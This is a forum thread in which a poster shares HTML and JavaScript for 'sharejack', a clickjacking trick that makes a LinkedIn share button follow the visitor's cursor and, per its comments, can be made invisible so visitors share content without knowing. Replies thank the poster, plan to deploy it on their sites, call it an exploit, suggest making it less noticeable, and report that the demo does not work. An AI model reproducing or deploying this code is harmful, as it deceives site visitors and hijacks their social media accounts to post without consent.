Where I should put the code in my WP blog ?
Thank you for your sharing !
I dont understand the code bit either. Where do you put all that? On a new webpage? I mean, how would you add this to blogger.com, webs.com or weebly.com for example?
<!-- this is the styling for the "sharejack" button. Set "opacity=50" to "opacity=0" and "opacity:0.5" to "opacity:0.0" to make the button invisible --><style type="text/css">
#sharejack {opacity:0.5;filter:alpha(opacity=50); width: 30px; height: 90px; overflow:hidden; position: absolute; left: 0; top: 0;}
</style>
<!-- this is a jquery library. You need it so the "share" button "follows the mouse around the page" -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script>
<!-- We'll be using a hidden textbox to detect a click onto the iframed like button by using an "onblur" function. On pageload, we set focus to the textbox we're hiding here, then when focus is taken away from the textbox, which happens when they click,
the "onblur" action is tripped which hides the sharejack button 200 milliseconds later then we know the iframed like button has been clicked on. -->
<div style="overflow:hidden; position:relative;">
<div style="height:80px; width:300px; overflow:scroll; position:absolute; right:-1000px; ">
<input type="text" id="textbox" onblur="setTimeout(function() { clicked(); }, 200);">
</div>
</div>
<div id="sharejack" style="display:block;">
<!-- Paste the code you were provided when using cake cake slice below this line, and above the "above this line" sentence below, replacing what is here with your code from cakeslice -->
<div style="overflow: hidden; width: 52px; height: 17px; position: relative;" id="i_div">
<iframe name="i_frame" src="http://www.linkedin.com/cws/share?url=http%3A%2F%2Fcrazyflx.com&original_referer=http%3A%2F%2Fdeveloper.linkedin.com%2Fsites%2Fall%2Fthemes%2Fdlc%2Fsandbox.php%3F&token=&isFramed=true&lang=en_US&_ts=1364627983895.2598" style="border: 0pt none ; left: -451px; top: -260px; position: absolute; width: 1600px; height: 799px;" scrolling="no">
</iframe>
</div>
<!-- ABOVE THIS LINE -->
</div>
<script type="text/javascript">
//function to show/hide something
function setVisibility(id, visibility) {
document.getElementById(id).style.display = visibility;
}
//they have clicked on the page, hide the button. This function is called when focus is taken away from the textbox we created earlier
function clicked() {
setVisibility('sharejack', 'none');
}
document.getElementById("textbox").focus();
//move the sharebox to match where their mouse is
$(document).ready(function(){
$(document).mousemove(function(e){
x=e.pageX ; y=e.pageY;
$("#sharejack").css({top: (y - 4) + "px", left: (x - 4) + "px"});
});
});
</script>
Gonna try this on a couple of test sites and see how this works out. Thanks for the share!
this is a sick share.
I am implementing this right now and will see how it goes.
I already have a few ideas of how to use this exploit.
Oh man!
I'm pretty sure I'll incorporate this into a lot of my sites
Thanks a ton crazyflx
Thanks and +17rep for you![]()
Ok worked like a charm. Just my opinions, #sharejack css, you can specify smaller width and height so it wouldn't be obvious. On my part, for the first time i could see the share button as it is not fully invisible. Not sure if i had done it right but at least its worked.
[COLOR=#FFFFCC]<!-- this is the styling for the "sharejack" button. Set "opacity=50" to "opacity=0" and "opacity:0.5" to "opacity:0.0" to make the button invisible -->[/COLOR]
I tried clicking on demo link but it didn't share anything. I waited for 15-20 mjins. Yes,i was logged into my linkedin.
Ami missing something ?
Demo link is not working for me either. I tried the with both Chrome and Firefox, while logged into LinkedIn. Nothing is getting shared. I would love to get this running. Looks like an excellent share!